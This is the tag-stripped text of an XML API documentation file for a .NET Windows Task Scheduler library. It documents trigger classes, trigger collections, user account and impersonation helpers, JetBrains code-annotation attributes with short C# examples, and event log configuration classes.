+ Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the + value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 to 32 and bits are + numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits are considered to + number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only available for Task + Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is + repeated indefinitely. + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + If you specify a repetition duration for a task, you must also specify the repetition interval. + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. Only available for + Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of the week every week or + every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with any derived triggers + except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + + + Gets the number of triggers in the collection. + + + + + Gets or sets a specified trigger from the collection. + + + The . + + The id () of the trigger to be retrieved. + + Specialized instance. + + + + + Mismatching Id for trigger and lookup. + + + + Gets a specified trigger from the collection. + + The index of the trigger to be retrieved. + Specialized instance. + + + + Add an unbound to the task. + + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + + Add a new trigger to the collections of triggers for the task. + + The type of trigger to create. + A instance of the specified type. + + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all triggers from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified trigger type is contained in this collection. + + Type of the trigger. + + true if the specified trigger type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an , starting at a particular index. + + The one-dimensional that is the destination of the elements copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + + + The application + + + The system + + + The custom + + + + + + The circular + + + The automatic backup + + + The retain + + + + + + The administrative + + + The operational + + + The analytical + + + The debug + + + PathType + + + The file path + + + The log name + + + SessionAuthentication + + + The default + + + The negotiate + + + The kerberos + + + The NTLM + + + Defines the standard keywords that are attached to events by the event provider. For more information about keywords, see . + + + The audit failure + + + The audit success + + + The correlation hint + + + The correlation hint2 + + + The event log classic + + + The none + + + The response time + + + The SQM + + + The wdi context + + + The wdi diagnostic + + + + Represents a placeholder (bookmark) within an event stream. You can use the placeholder to mark a position and return to this position in a stream of + events. An instance of this object can be obtained from an EventRecord object, in which case it corresponds to the position of that event record. + + + + Initializes a new instance of the class. + The information. + The context. + + + Gets the object data. + The information. + The context. + + + + Represents a keyword for an event. Keywords are defined in an event provider and are used to group the event with other similar events (based on the + usage of the events). + + + + Gets the display name. + The display name. + + + Gets the name. + The name. + + + Gets the value. + The value. + + + Contains an event level that is defined in an event provider. The level signifies the severity of the event. + + + Gets the display name. + The display name. + + + Gets the name. + The name. + + + Gets the value. + The value. + + + EventLogConfiguration + + + Initializes a new instance of the class. + Name of the log. + + + Initializes a new instance of the class. + Name of the log. + The session. + + + Gets a value indicating whether this instance is classic log. + true if this instance is classic log; otherwise, false. + + + Gets or sets a value indicating whether this instance is enabled. + true if this instance is enabled; otherwise, false. + + + Gets or sets the log file path. + The log file path. + + + Gets the log isolation. + The log isolation. + + + Gets or sets the log mode. + The log mode. + + + Gets the name of the log. + The name of the log. + + + Gets the type of the log. + The type of the log. + + + Gets or sets the maximum size in bytes. + The maximum size in bytes. + + + Gets the name of the owning provider. + The name of the owning provider. + + + Gets the size of the provider buffer. + The size of the provider buffer. + + + Gets the provider control unique identifier. + The provider control unique identifier. + + + Gets or sets the provider keywords. + The provider keywords. + + + Gets the provider latency. + The provider latency. + + + Gets or sets the provider level. + The provider level. + + + Gets the provider maximum number of buffers. + The provider maximum number of buffers. + + + Gets the provider minimum number of buffers. + The provider minimum number of buffers. + + + Gets the provider names. + The provider names. + + + Gets or sets the security descriptor. + The security descriptor. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Saves the changes. + + + Releases unmanaged and - optionally - managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Allows you to access the run-time properties of active event logs and event log files. These properties include the number of events in the log, the size of the log, a value that determines whether the log is full, and the last time the log was written to or accessed. + + + + Gets the attributes. + The attributes. + + + Gets the creation time. + The creation time. + + + Gets the size of the file. + The size of the file. + + + Gets the is log full. + The is log full. + + + Gets the last access time. + The last access time. + + + Gets the last write time. + The last write time. + + + Gets the oldest record number. + The oldest record number. + + + Gets the record count. + The record count. + + + + Represents a link between an event provider and an event log that the provider publishes events into. This object cannot be instantiated. + + + + Gets the display name. + 